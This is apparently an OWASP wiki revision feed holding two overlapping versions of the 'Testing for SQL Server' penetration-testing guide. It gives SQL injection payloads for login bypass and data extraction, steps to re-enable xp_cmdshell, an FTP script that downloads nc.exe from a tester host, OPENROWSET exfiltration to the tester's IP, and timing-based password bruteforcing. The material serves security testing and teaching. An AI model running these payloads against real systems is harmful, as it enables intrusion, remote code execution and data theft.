Microsoft SQL server has a few particularities so that some exploits need to be specially customized for this application that the penetration tester has to know in order to exploit them along the tests. &lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
===SQL Server Peculiarities===&lt;br /&gt;
&lt;br /&gt;
To begin, let's see some SQL Server operators and commands/stored procedures that are useful in a SQL Injection test:&lt;br /&gt;
&lt;br /&gt;
* comment operator: -- (useful for forcing the query to ignore the remaining portion of the original query, this won't be necessary in every case)&lt;br /&gt;
* query separator: ; (semicolon)&lt;br /&gt;
* Useful stored procedures include:&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms175046.aspx xp_cmdshell]] executes any command shell in the server with the same permissions that it is currently running. By default, only '''sysadmin''' is allowed to use it and in SQL Server 2005 it is disabled by default (it can be enabled again using sp_configure)&lt;br /&gt;
** '''xp_regread''' reads an arbitrary value from the Registry (undocumented extended procedure)&lt;br /&gt;
** '''xp_regwrite''' writes an arbitrary value into the Registry (undocumented extended procedure)&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms180099.aspx sp_makewebtask]] Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. It requires '''sysadmin''' privileges.&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-US/library/ms189505.aspx xp_sendmail]] Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Let's see now some examples of specific SQL Server attacks that use the aformentioned functions. Most of these examples will use the '''exec''' function.&lt;br /&gt;
&lt;br /&gt;
Below we show how to execute a shell command that writes the output of the command ''dir c:\inetpub'' in a browseable file, assuming that the web server and the DB server reside on the same host. The following syntax uses xp_cmdshell:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 exec master.dbo.xp_cmdshell 'dir c:\inetpub &amp;gt; c:\inetpub\wwwroot\test.txt'--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Alternatively, we can use sp_makewebtask:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
A successful execution will create a file that it can be browsed by the pen tester. Keep in mind that sp_makewebtask is deprecated and, even if it works to all SQL Server versions up to 2005, might be removed in the future.&lt;br /&gt;
&lt;br /&gt;
And &lt;br /&gt;
&lt;br /&gt;
 '; select * from OPENROWSET('SQLOLEDB','uid='''sa''';pwd='''foobar''';Network=DBMSSOCN;Address=&amp;quot; + &lt;br /&gt;
    '''YOUR_IP_ADDRESS''' + &amp;quot;,&amp;quot; + '''PORT''' + &amp;quot;;timeout=1','')--&amp;quot;&lt;br /&gt;
&lt;br /&gt;
returns the result of the query to the IP of the penetration tester. The fields in bold must be completed, where ''sa'' is the sysadmin and ''foobar'' his password, ''YOUR_IP_ADDRESS'' is the pen tester's IP and ''PORT'' the port number where he wants to receive this information. See [[http://msdn2.microsoft.com/en-us/library/ms190312.aspx OPENROWSET]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
** The following uses the function '''db_name''' to return the name of the database in an error.&lt;br /&gt;
&lt;br /&gt;
 /controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20db_name()) &lt;br /&gt;
&lt;br /&gt;
Notice, the use of [[http://msdn.microsoft.com/library/en-us/tsqlref/ts_ca-co_2f3o.asp convert]]:&lt;br /&gt;
 &lt;br /&gt;
 CONVERT ( data_type [ ( length ) ] , expression [ , style ] )&lt;br /&gt;
&lt;br /&gt;
Explicitly converts an expression of one data type to another. It's used as part of SQL injection attacks to force a conversion error and trigger error messages containing information of interest for the pen tester (i.e. table field values).&lt;br /&gt;
&lt;br /&gt;
* Environment variables: '''@@version '''&lt;br /&gt;
Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of a SQL-injection attack or direct access to the SQL listener. A query of this sort will return the version of the SQL Server.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
 /controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There follow several examples that exploit SQL injection vulnerabilities through different entry points.&lt;br /&gt;
&lt;br /&gt;
===Example 1: Testing for SQL Injection in a GET request. ===&lt;br /&gt;
&lt;br /&gt;
The most simple (and sometimes rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string &amp;quot;' or '1'='1&amp;quot; (without double quotes): &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&amp;amp;Password='%20or%20'1'='1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application. &lt;br /&gt;
&lt;br /&gt;
===Example 2: Testing for SQL Injection in a GET request (2).===&lt;br /&gt;
&lt;br /&gt;
In order to learn how many columns there exist &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Example 3: Testing in a POST request ===&lt;br /&gt;
&lt;br /&gt;
SQL Injection, HTTP POST Content: email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
A complete post example:&lt;br /&gt;
&lt;br /&gt;
 POST &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/forgotpass.asp HTTP/1.1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Host: vulnerable.web.app&lt;br /&gt;
 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13&lt;br /&gt;
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
 Accept-Language: en-us,en;q=0.5&lt;br /&gt;
 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
 Keep-Alive: 300&lt;br /&gt;
 Proxy-Connection: keep-alive&lt;br /&gt;
 Referer: &amp;lt;nowiki&amp;gt;http://vulnerable.web.app/forgotpass.asp&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
 Content-Length: 50&amp;lt;br&amp;gt;&lt;br /&gt;
 email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
The error message obtained when a ' (single quote) character is entered at the email field is:&lt;br /&gt;
&lt;br /&gt;
 Microsoft OLE DB Provider for SQL Server error '80040e14'&lt;br /&gt;
 Unclosed quotation mark before the character string '' '.&lt;br /&gt;
 /forgotpass.asp, line 15 &lt;br /&gt;
&lt;br /&gt;
===Example 4: Yet another (useful) GET example===&lt;br /&gt;
&lt;br /&gt;
Obtaining the application's source code&lt;br /&gt;
&lt;br /&gt;
 a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--&lt;br /&gt;
&lt;br /&gt;
===Example 5: custom xp_cmdshell===&lt;br /&gt;
&lt;br /&gt;
All books and papers describing the security best practices for SQL Server recommend to disable xp_cmdshell in SQL Server 2000 (in SQL Server 2005 it is disabled by default). However, if we have sysadmin rights (natively or by bruteforcing the sysadmin password, see below), we can often bypass this limitation.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
On SQL Server 2000:&lt;br /&gt;
* If xp_cmdshell has been disabled with sp_dropextendedproc, we can simply inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sp_addextendedproc 'xp_cmdshell','xp_log70.dll'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* If the previous code does not work, it means that the xp_log70.dll has been moved or deleted. In this case we need to inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS&lt;br /&gt;
  DECLARE @result int, @OLEResult int, @RunResult int&lt;br /&gt;
  DECLARE @ShellID int&lt;br /&gt;
  EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 SELECT @result = @OLEResult&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)&lt;br /&gt;
  EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 SELECT @result = @OLEResult&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)&lt;br /&gt;
  EXECUTE @OLEResult = sp_OADestroy @ShellID&lt;br /&gt;
  return @result&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This code, written by Antonin Foller (see links at the bottom of the page), creates a new xp_cmdshell using sp_oacreate, sp_method and sp_destroy (as long as they haven't been disabled too, of course). Before using it, we need to delete the first xp_cmdshell we created (even if it was not working), otherwise the two declarations will collide.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
On SQL Server 2005, xp_cmdshell can be enabled injecting the following code instead:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
master..sp_configure 'show advanced options',1&lt;br /&gt;
reconfigure&lt;br /&gt;
master..sp_configure 'xp_cmdshell',1&lt;br /&gt;
reconfigure&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 6: Referer / User-Agent===&lt;br /&gt;
&lt;br /&gt;
The REFERER header set to:&lt;br /&gt;
&lt;br /&gt;
 Referer: &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Allows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:&lt;br /&gt;
&lt;br /&gt;
 User-Agent: user_agent', 'some_ip'); [SQL CODE]--&lt;br /&gt;
&lt;br /&gt;
===Example 7: Upload of executables===&lt;br /&gt;
&lt;br /&gt;
Once we can use xp_cmdshell (either the native one or a custom one), we can easily upload executables on the target DB Server. A very common choice is netcat.exe, but any trojan will be useful here.&lt;br /&gt;
If the target is allowed to start FTP connections to the tester's machine, all that is needed is to inject the following queries:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
exec master..xp_cmdshell 'echo open ftp.tester.org &amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo USER &amp;gt;&amp;gt; ftpscript.txt';-- &lt;br /&gt;
exec master..xp_cmdshell 'echo PASS &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo bin &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo get nc.exe &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo quit &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
At this point, nc.exe will be uploaded and available.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
If FTP is not allowed by the firewall, we have a workaround that exploits the Windows debugger, debug.exe, that is installed by default in all Windows machines. Debug.exe is scriptable and is able to create an executable by executing an appropriate script file. What we need to do is to convert the executable into a debug script (which is a 100% ascii file), upload it line by line and finally call debug.exe on it. There are several tools that create such debug files (e.g.: makescr.exe by Ollie Whitehouse and dbgtool.exe by toolcrypt.org). The queries to inject will therefore be the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #1 of n] &amp;gt; debugscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #2 of n] &amp;gt;&amp;gt; debugscript.txt';--&lt;br /&gt;
....&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #n of n] &amp;gt;&amp;gt; debugscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'debug.exe &amp;lt; debugscript.txt';--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
At this point, our executable is available on the target machine, ready to be executed.&lt;br /&gt;
&lt;br /&gt;
There are tools that automate this process, most notably Bobcat, which runs on Windows, and Sqlninja, which runs on *nix (See the tools at the bottom of this page).&lt;br /&gt;
&lt;br /&gt;
===Obtain information when it is not displayed (Out of band)===&lt;br /&gt;
&lt;br /&gt;
Not all is lost when the web application does not return any information --such as descriptive error messages (cf. [[http://www.owasp.org/index.php/Blind_SQL_Injection|Blind SQL injection]]). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL-injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Other options for out of band attacks are describe in Sample 4 above. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Blind SQL injection attacks===&lt;br /&gt;
&lt;br /&gt;
====Trial and error====&lt;br /&gt;
Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL-injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors ([[http://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors]]) against this channel and watch the response. For example, if the web application is looking for a book using a query&lt;br /&gt;
&lt;br /&gt;
   select * from books where title='''text entered by the user'''&lt;br /&gt;
&lt;br /&gt;
then the penetration tester might enter the text: ''''Bomba' OR 1=1-''' and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL-injection vulnerability. The penetration tester might later ''play'' with the queries in order to assess the criticality of this vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====In case more than one error message is displayed====&lt;br /&gt;
On the other hand, if no prior information is available there is still a possibility of attacking by exploiting any ''covert channel''. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example: &lt;br /&gt;
&lt;br /&gt;
* On some cases the web application (actually the web server) might return the traditional ''500: Internal Server Error'', say when the application returns an exception that might be generated for instance by a query with unclosed quotes. &lt;br /&gt;
* While on other cases the server will return a 200OK message, but the web application will return some error message inserted by the developers ''Internal server error'' or ''bad data''. &lt;br /&gt;
&lt;br /&gt;
This 1 bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit.&lt;br /&gt;
&lt;br /&gt;
Another out-of-band method is to output the results through HTTP browseable &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Timing attacks====&lt;br /&gt;
There is one more possibility for making a blind SQL-injection attack, for example, using the time that it takes the web application to answer a request (see, e.g., ''Bleichenbacher's attack''). An attack of this sort is described by Anley in ([2]) from where we take the next example. A first approach uses the ''SQL command waitfor delay '0:0:5','' for example assume that data is not properly validated through a given attack vector but there is no feedback. Let's say that the attacker wants to check if the ''books'' database exists he will send the command&lt;br /&gt;
&lt;br /&gt;
 if exists (select * from pubs..pub_info) waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
In fact, what we have here is two things: a '''SQL-injection vulnerability''' and a '''covert channel''' that allows the penetration tester to get 1 bit of information. Hence, using several queries (as much queries as the bits in the required information) the pen tester can get any data that is in the database. Say, the string&lt;br /&gt;
&lt;br /&gt;
 declare @s varchar(8000) &lt;br /&gt;
 select @s = db_name() &lt;br /&gt;
 if (ascii(substring(@s, ''n'', ''b'')) &amp;amp; ( power(2, 0))) &amp;gt; 0 waitfor delay 0:0:5&lt;br /&gt;
&lt;br /&gt;
will wait for 5 seconds if the ''n''th bit of the name of the current database is ''b'', and will return at once if it is ''1-b''. After discovering the value of each byte, the pen tester will see if the first bit of the next byte is neither 1 nor 0, this means that the string has ended!&lt;br /&gt;
&lt;br /&gt;
However, it might happen that the command ''waitfor'' is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL-injection attacks cannot be done, the pen tester should only come up with any time consuming operation that is not filtered. For example&lt;br /&gt;
&lt;br /&gt;
 declare @i int select @i = 0&lt;br /&gt;
 while @i &amp;lt; 0xaffff begin&lt;br /&gt;
 select @i = @i + 1&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
===Example 8: bruteforce of sysadmin password===&lt;br /&gt;
&lt;br /&gt;
One of the most useful commands in SQL Server (at least for the penetration tester) is the OPENROWSET command, which is used to run a query on another DB Server and retrieve the result. We can leverage the fact that OPENROWSET needs proper credentials to successfully perform the connection and that such a connection can be also &amp;quot;looped&amp;quot; to the local DB Server.&lt;br /&gt;
Combining these features with an inferenced injection based on response timing, we can inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
select * from OPENROWSET('SQLOLEDB','';'sa';'&amp;lt;pwd&amp;gt;','select 1;waitfor delay ''0:0:5'' ')&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
What we do here is to attempt a connection to the local database (specified by the empty field after 'SQLOLEDB') using &amp;quot;sa&amp;quot; and &amp;quot;&amp;lt;pwd&amp;gt;&amp;quot; as credentials. If the password is correct and the connection is successful, the query is executed, making the DB wait for 5 seconds (and also returning a value, since OPENROWSET expects at least one column). Fetching the candidate passwords from a wordlist and measuring the time needed for each connection, we can attempt to guess the correct password. In &amp;quot;Data-mining with SQL Injection and Inference&amp;quot;, David Litchfield pushes this technique even further, by injecting a piece of code in order to bruteforce the sysadmin password using the CPU resources of the DB Server itself. &lt;br /&gt;
Once we have the sysadmin password, we have two choices:&lt;br /&gt;
&lt;br /&gt;
* Inject all following queries using OPENROWSET, in order to use sysadmin privileges&lt;br /&gt;
&lt;br /&gt;
* Add our current user to the sysadmin group using sp_addsrvrolemember. The current user name can be extracted using inferenced injection against the variable system_user&lt;br /&gt;
&lt;br /&gt;
Keep in mind that OPENROWSET is enabled by default in SQL Server 2000 but disabled in SQL Server 2005.&lt;br /&gt;
&lt;br /&gt;
===Checking for version and vulnerabilities===&lt;br /&gt;
In case the pen tester can make some queries to the database engine, he will be able to get the database engine's version. He can next match this product name and version with known vulnerabilities or a zero-day exploit that he might have access to.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Daniel Bleichenbacher: &amp;quot;Chosen Ciphertext Attacks Against Protocols Based on the RSA Encryption Standard PKCS #1&amp;quot;, CRYPTO 1998, pp1-12.&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.nextgenss.com/research/papers/sqlinference.pdf&lt;br /&gt;
* Chris Anley, &amp;quot;(more) Advanced SQL Injection&amp;quot;, whitepaper. NGSSoftware Insight Security Research Publication, 2002.&lt;br /&gt;
* Steve Friedl's Unixwiz.net Tech Tips: &amp;quot;SQL Injection Attacks by Example&amp;quot; - http://www.unixwiz.net/techtips/sql-injection.html&lt;br /&gt;
* Alexander Chigrik: &amp;quot;Useful undocumented extended stored procedures&amp;quot; - http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm&lt;br /&gt;
* Antonin Foller: &amp;quot;Custom xp_cmdshell, using shell object&amp;quot; - http://www.motobit.com/tips/detpg_cmdshell&lt;br /&gt;
* Paul Litwin: &amp;quot;Stop SQL Injection Attacks Before They Stop You&amp;quot; - http://msdn.microsoft.com/msdnmag/issues/04/09/SQLInjection/&lt;br /&gt;
* SQL Injection - http://msdn2.microsoft.com/en-us/library/ms161953.aspx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
	&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Francois Larouche: Multiple DBMS Sql Injection tool - [[http://www.sqlpowerinjector.com/index.htm SQL Power Injector]]&lt;br /&gt;
* Northern Monkee: [[http://www.northern-monkee.co.uk/projects/bobcat/bobcat.html Bobcat]]&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [[http://sqlninja.sourceforge.net sqlninja]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Wata</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=11537</id>
		<title>Testing for SQL Server</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=11537"/>
				<updated>2006-11-03T20:57:12Z</updated>
		
		<summary type="html">&lt;p&gt;Wata: /* 1.2 Black Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue (Topic and Explanation) == &lt;br /&gt;
[[http://www.owasp.org/index.php/SQL_Injection_AoC SQL injection vulnerabilities]] occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers. It allows for the execution of SQL code under the privileges of the user used to connect to the database.&lt;br /&gt;
&lt;br /&gt;
The Microsoft SQL server has a few particularities so that some exploits need to be specially customized for this application. That's the subject of this section.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
===How to Test===&lt;br /&gt;
&lt;br /&gt;
As explained in [[SQL injection]] a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:&lt;br /&gt;
&lt;br /&gt;
* Application parameters in query strings (e.g., GET requests)&lt;br /&gt;
* Application parameters included as part of the body of a POST request&lt;br /&gt;
* Browser-related information (e.g., user-agent, referrer)&lt;br /&gt;
* Host-related information (e.g., host name, IP)&lt;br /&gt;
* Session-related information (e.g., user ID, cookies) &lt;br /&gt;
&lt;br /&gt;
For building the exploits, the penetration tester has to know the operators used in SQL Server. There follow some useful operators and commands/stored procedures:&lt;br /&gt;
&lt;br /&gt;
* comment operator: -- (useful for forcing the query to ignore the remaining portion of the original query, this won't be necessary in every case)&lt;br /&gt;
* query separator: ; (semicolon)&lt;br /&gt;
* Stored procedures:&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms175046.aspx xp_cmdshell]] executes any command shell in the server with the same permissions that it is currently running.&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-us/library/ms180099.aspx sp_makewebtask]] Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. It requires '''sysadmin'''.&lt;br /&gt;
** [[http://msdn2.microsoft.com/en-US/library/ms189505.aspx xp_sendmail]] Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.&lt;br /&gt;
* Implementing exploits with MS SQL functions&lt;br /&gt;
** Most of the examples use the '''exec''' function. Bellow we show how to execute a shell command that writes the output of the command ''dir c:\inetpub'' in a browseable file using [[http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_xp_aa-sz_4jxo.asp xp_cmdshell]].&lt;br /&gt;
&lt;br /&gt;
 exec master.dbo.xp_cmdshell 'dir c:\inetpub &amp;gt; c:\inetpub\wwwroot\test.txt'--&lt;br /&gt;
&lt;br /&gt;
Here, &lt;br /&gt;
&lt;br /&gt;
 exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--&lt;br /&gt;
&lt;br /&gt;
which produces an HTML document containing the result of the query --so that it can be browsed by the pen tester! And &lt;br /&gt;
&lt;br /&gt;
 '; select * from OPENROWSET('SQLOLEDB','uid='''sa''';pwd='''foobar''';Network=DBMSSOCN;Address=&amp;quot; + &lt;br /&gt;
    '''YOUR_IP_ADDRESS''' + &amp;quot;,&amp;quot; + '''PORT''' + &amp;quot;;timeout=1','')--&amp;quot;&lt;br /&gt;
&lt;br /&gt;
returns the result of the query to the IP of the penetration tester. The fields in bold must be completed, where ''sa'' is the sysadmin and ''foobar'' his password, ''YOUR_IP_ADDRESS'' is the pen tester's IP and ''PORT'' the port number where he wants to receive this information. See [[http://msdn2.microsoft.com/en-us/library/ms190312.aspx OPENROWSET]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
** The following uses the function '''db_name''' to return the name of the database in an error.&lt;br /&gt;
&lt;br /&gt;
 /controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20db_name()) &lt;br /&gt;
&lt;br /&gt;
Notice, the use of [[http://msdn.microsoft.com/library/en-us/tsqlref/ts_ca-co_2f3o.asp convert]]:&lt;br /&gt;
 &lt;br /&gt;
 CONVERT ( data_type [ ( length ) ] , expression [ , style ] )&lt;br /&gt;
&lt;br /&gt;
Explicitly converts an expression of one data type to another. It's used as part of SQL injection attacks to force a conversion error and trigger error messages containing information of interest for the pen tester (i.e. table field values).&lt;br /&gt;
&lt;br /&gt;
* Environment variables: '''@@version '''&lt;br /&gt;
Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of a SQL-injection attack or direct access to the SQL listener. A query of this sort will return the version of the SQL Server.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
 /controlboard.asp?boardID=2&amp;amp;itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)&lt;br /&gt;
&lt;br /&gt;
==Black Box testing and example==&lt;br /&gt;
There follow several examples that exploit SQL injection vulnerabilities through different entry points.&lt;br /&gt;
&lt;br /&gt;
===Example 1: Testing for SQL Injection in a GET request. ===&lt;br /&gt;
&lt;br /&gt;
The most simple (and sometimes rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string &amp;quot;' or '1'='1&amp;quot; (without double quotes): &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&amp;amp;Password='%20or%20'1'='1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application. &lt;br /&gt;
&lt;br /&gt;
===Example 2: Testing for SQL Injection in a GET request (2).===&lt;br /&gt;
&lt;br /&gt;
In order to learn how many columns there exist &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Example 3: Testing in a POST request ===&lt;br /&gt;
&lt;br /&gt;
SQL Injection, HTTP POST Content: email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
A complete post example:&lt;br /&gt;
&lt;br /&gt;
 POST &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/forgotpass.asp HTTP/1.1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Host: vulnerable.web.app&lt;br /&gt;
 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13&lt;br /&gt;
 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
 Accept-Language: en-us,en;q=0.5&lt;br /&gt;
 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
 Keep-Alive: 300&lt;br /&gt;
 Proxy-Connection: keep-alive&lt;br /&gt;
 Referrer: &amp;lt;nowiki&amp;gt;http://vulnerable.web.app/forgotpass.asp&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
 Content-Length: 50&amp;lt;br&amp;gt;&lt;br /&gt;
 email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
The error message obtained when a ' (single quote) character is entered at the email field is:&lt;br /&gt;
&lt;br /&gt;
 Microsoft OLE DB Provider for SQL Server error '80040e14'&lt;br /&gt;
